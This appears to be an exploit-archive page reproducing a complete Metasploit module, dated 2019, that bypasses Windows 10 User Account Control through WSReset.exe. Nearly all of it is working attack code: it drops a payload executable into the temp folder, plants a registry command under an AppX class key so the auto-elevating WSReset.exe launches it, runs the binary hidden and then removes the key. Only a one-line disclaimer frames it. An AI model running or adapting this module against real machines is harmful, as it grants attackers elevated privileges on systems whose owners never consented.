Microsoft windows 10 uac protection bypass via microsoft windows store (wsreset.exe) and registry (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-09-10 | Type : local | Platform : windows
This exploit / vulnerability Microsoft windows 10 uac protection bypass via microsoft windows store (wsreset.exe) and registry (metasploit) is for educational purposes only and if it is used you will do on your own risk!

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Post::Windows::Priv
include Post::Windows::Runas

def initialize(info = {})
super(
update_info(info,
'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry',
'Description' => %q(
This module exploits a flaw in the WSReset.exe file associated with the Windows
Store. This binary has autoelevate privs, and it will run a binary file
contained in a low-privilege registry location. By placing a link to
the binary in the registry location, WSReset.exe will launch the binary as
a privileged user.
),
'License' => MSF_LICENSE,
'Author' => [
'ACTIVELabs', # discovery
'sailay1996', # poc
'bwatters-r7', # metasploit module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [[ 'Automatic', {} ]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 15
},
'DisclosureDate' => 'Feb 19 2019',
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
},
'References' => [
['URL', 'https://www.activecyber.us/activelabs/windows-uac-bypass'],
['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],
['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'],
]
)
)
register_options(
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
)

end

def check
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
return CheckCode::Appears
end

CheckCode::Safe
end

def exploit
check_permissions!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end

# get directory locations straight
win_dir = session.sys.config.getenv('windir')
vprint_status("win_dir = " + win_dir)
tmp_dir = session.sys.config.getenv('tmp')
vprint_status("tmp_dir = " + tmp_dir)
exploit_dir = win_dir + "\\System32\\"
vprint_status("exploit_dir = " + exploit_dir)
reset_filepath = exploit_dir + "WSReset.exe"
vprint_status("exploit_file = " + reset_filepath)

# make payload
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
payload_pathname = tmp_dir + '\\' + payload_name
vprint_status("payload_pathname = " + payload_pathname)
vprint_status("Making Payload")
payload = generate_payload_exe
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
vprint_status("reg_command = " + reg_command)
registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command"


# make registry changes
vprint_status("Making Registry Changes")
begin
registry_createkey(registry_key)
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
registry_setvaldata(registry_key, '', reg_command, "REG_SZ")
rescue ::Exception => e
print_error(e.to_s)
end
vprint_status("Registry Changes Complete")
# Upload payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status("Payload Upload Complete")

vprint_status("Launching " + reset_filepath)
begin
session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true)
rescue ::Exception => e
print_error(e.to_s)
end
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
# wait for a few seconds before cleaning up
sleep(20)
vprint_status("Removing Registry Changes")
registry_deletekey(registry_key)
vprint_status("Registry Changes Removed")
end

def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
print_status('UAC is Enabled, checking level...')
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end